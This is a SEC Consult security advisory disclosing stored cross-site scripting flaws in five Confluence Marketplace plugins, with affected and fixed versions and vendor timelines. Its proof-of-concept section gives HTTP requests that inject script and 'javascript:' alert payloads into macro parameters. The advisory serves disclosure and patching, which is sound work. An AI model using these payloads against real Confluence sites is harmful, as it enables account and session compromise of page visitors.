SEC Consult SA-20201008-0 :: Multiple Cross-Site Scripting Vulnerabilities in Confluence Marketplace Plugins

From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Fri, 9 Oct 2020 10:46:57 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20201008-0 >
=======================================================================
             title: Multiple Cross-Site Scripting Vulnerabilities
          products: PlantUML, Refined Toolkit for Confluence, Linking for Confluence, Countdown Timer, Server Status
vulnerable versions: PlantUML: 6.43, Refined Toolkit for Confluence: 2.2.5, Linking for Confluence: 5.5.3, Countdown
Timer: 1.7.0, Server Status: 1.2.1
      fixed version: PlantUML: 6.44, Refined Toolkit for Confluence: 2.2.7, Linking for Confluence: 5.5.7, Countdown
Timer: 1.7.1, Server Status: 1.2.2
             impact: Medium
           homepage: PlantUML: https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence
                     Refined Toolkit for Confluence:
https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence
                     Linking for Confluence: https://marketplace.atlassian.com/apps/166/linking-for-confluence
                     Countdown Timer: https://marketplace.atlassian.com/apps/1211116/countdown-timer
                     Server Status: https://marketplace.atlassian.com/apps/1212916/server-status
              found: 2020-08-12
                 by: Daniel Teuchert (Office Bochum), Roman Ferdigg (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor & Product description:
-------------------
PlantUML
"Macros to add various UML diagrams and other diagrams"
Vendor: https://www.avono.de

Refined Toolkit for Confluence
"Improve Confluence Pages with Handy UI Tools"
Vendor: https://www.refined.com

Linking for Confluence
"Enable one-click links to access Confluence templates, aggregate resources, and create structured content"
Vendor: https://www.servicerocket.com

Countdown Timer
"Countdown widget for Confluence"
Vendor: www.akeles.com

Server Status
"A collection of some server status tools for confluence"
Vendor: https://aptis-solutions.com


Business recommendation:
------------------------
Update to the latest versions of the plugins. An in-depth security
analysis performed by security professionals is highly advised, as the
plugins may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) PlantUML - Stored Cross-Site Scripting
The Database Information macro is a component of PlantUML and can be used to
inject JavaScript code into Confluence pages, leading to a stored cross-site
scripting vulnerability.

2) Refined Toolkit for Confluence - Stored Cross-Site Scripting
The elements UI-Image and UI-Button can be used to inject JavaScript code into
Confluence pages, leading to a stored cross-site scripting vulnerability.

3) Linking for Confluence - Stored Cross-Site Scripting
The Link in New Windows macro can be used to inject JavaScript code into
Confluence pages, leading to a stored cross-site scripting vulnerability.

4) Countdown Timer - Stored Cross-Site Scripting
The Countdown Timer macro can be used to inject JavaScript code into Confluence
pages, leading to a stored cross-site scripting vulnerability.

5) Server Status - Stored Cross-Site Scripting
The two macros HTTP Status and SMTP Status can be used to inject JavaScript code
into Confluence pages, leading to a stored cross site scripting vulnerability.


Proof of concept:
-----------------
1) PlantUML - Stored Cross-Site Scripting
In the component Database Information a data source can be configured through
the parameter "datasources". This parameter allows an attacker to inject a
JavaScript code. The code is executed when a user visits the page where the
macro is used.

Below is the example on how the XSS issue can be exploited:

POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65623&draftShareId=ebaa1df3-0bb2-476f-9e83-560e87bdd9a5&;

{"contentId":"65622","macro":{"name":"database-info","params":{"datasources":"<script>alert(document.domain)
</script>","attributes":"sdfdsf"},"body":""}}

2) Refined Toolkit for Confluence - Stored Cross-Site Scripting
In the two components UI-Image and UI-Button the parameter "url" allows an
attacker to inject a JavaScript code. This code is executed when a user
clicks on the created image/button on the Confluence page.

The following request demonstrates the creation of such an UI-Image macro:

POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65609&draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e8073&;
```

{"contentId":"65603","macro":{"name":"ui-image","params":
{"imageUrl":"test","linkUrl":"javascript:alert(document.domain)"},"body":""}}

3) Linking for Confluence - Stored Cross-Site Scripting
The parameter "href" in the Link in New Window macro allows an attacker to
inject a JavaScript code. This code is executed when a user clicks on the
created Link on the Confluence page.

The following request demonstrates the creation of such a link:

POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65609&draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e8073&;

{"contentId":"65603","macro":{"name":"link-window","params":
{"href":"javascript:alert(document.domain)","linkText":"click
 here"},"body":""}}

4) Countdown Timer - Stored Cross-Site Scripting
In the Countdown Timer plugin it is possible to set a countdown date through
the parameter "countdowndate". This parameter allows an attacker to inject
a JavaScript code. The code is executed when a user visits the page where
the plugin is used.

Below is the example on how the XSS issue can be exploited:

POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65627&draftShareId=de758257-a056-479e-9e6a-eccdede26003&;

{"contentId":"65626","macro":{"name":"countdown","params":{"countdowndate":"<script>alert(document.domain)
</script>"},"body":""}}

5) Server Status - Stored Cross-Site Scripting
In the two components HTTP Status and SMTP status it is possible to set a text
through the parameter "displayText". This parameter allows an attacker to
inject a JavaScript code. The code is executed when a user visits the page
where the plugin is used.

Below is the example on how the XSS issue can be exploited:

POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65619&draftShareId=efc17088-e2b6-4c29-9f0b-8ee90b4c03b7&;

{"contentId":"65618","macro":{"name":"server-status-http-request","params":{"url":"http://test.com","displayText":";
<script>alert(document.domain)</script>","theme":"Color"},"body":""}}

Vulnerable / tested versions:

The following versions of the plugins have been tested, which were the latest
versions available at the time of the test.

PlantUML was tested in version 6.43.
Refined Toolkit for Confluence was tested in version 2.2.5.
Linking for Confluence was tested in version 5.5.3.
Countdown Timer was tested in version 1.7.0.
Server Status was tested in version 1.2.1.

It is assumed earlier versions of the plugins are also vulnerable to the issues.

Vendor contact timeline:

PlantUML
2020-08-19: Contacting avono AG (PlantUML) through info () avono de
2020-08-21: Vendor supplies PGP key for security contact
2020-08-21: Sending the details of the vulnerability
2020-08-25: Vendor releases fixed version 6.44
2020-10-08: Public release of the security advisory

Refined Toolkit for Confluence
2020-08-19: Contacting vendor through support () refined com
2020-08-19: Vendor automatically creates Jira Ticket
2020-08-24: Vendor asks for information about the vulnerability via Jira
2020-08-24: Sending the details of the vulnerability
2020-08-26: Vendor releases fixed version 2.2.7
2020-10-08: Public release of the security advisory

Linking for Confluence
2020-08-19: Contacting vendor through apps.support () servicerocket com
2020-08-19: Vendor automatically creates Jira Ticket
2020-08-19: Vendor supplies PGP key for security contact
2020-08-20: Sending the details of the vulnerability
2020-09-20: Vendor releases fixed version 5.5.7
2020-10-08: Public release of the security advisory

Countdown Timer
2020-08-19: Contacting Akeles Consulting (Countdown Timer) through help () akeles com
2020-08-21: Vendor creates Jira Ticket and asks for information about the vulnerability via Jira
2020-08-21: Sending the details of the vulnerability
2020-09-17: Requesting a status update
2020-09-17: Vendor is working on it and there will be soon a new version
2020-09-22: Vendor was reminded about the latest possible release date
2020-09-28: Vendor will probably release the advisory in CW 40
2020-10-05: Requesting a status update
2020-10-06: Vendor releases fixed version 1.7.1
2020-10-08: Public release of the security advisory

Server Status
2020-08-19: Contacting APTIS GmbH (Server Status) through info@aptis.support
2020-08-31: Sending unencrypted advisory as requested by vendor
2020-08-31: Vendor releases fixed version 1.2.2
2020-10-08: Public release of the security advisory

Solution:

PlantUML
The fixed version 6.44 is available at the Marketplace:
https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence?hosting=server&tab=versions

Refined Toolkit for Confluence
The fixed version 2.2.7 is available at the Marketplace:
https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence?hosting=datacenter&tab=versions

Linking for Confluence
The fixed version 5.5.7 is available at the Marketplace:
https://marketplace.atlassian.com/apps/166/linking-for-confluence?hosting=cloud&tab=versions

Countdown Timer
The fixed version 1.7.1 is available at the Marketplace:
https://marketplace.atlassian.com/apps/1211116/countdown-timer?hosting=server&tab=versions

Server Status
The fixed version 1.2.2 is available at the Marketplace:
https://marketplace.atlassian.com/apps/1212916/server-status?hosting=server&tab=versions

Workaround:

None

Advisory URL:
----
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF D. Teuchert, R. Ferdigg / @2020

By Date By Thread

Current thread:

SEC Consult SA-20201008-0 :: Multiple Cross-Site Scripting Vulnerabilities in Confluence Marketplace Plugins *SEC Consult Vulnerability Lab (Oct 09)*
~~~~~~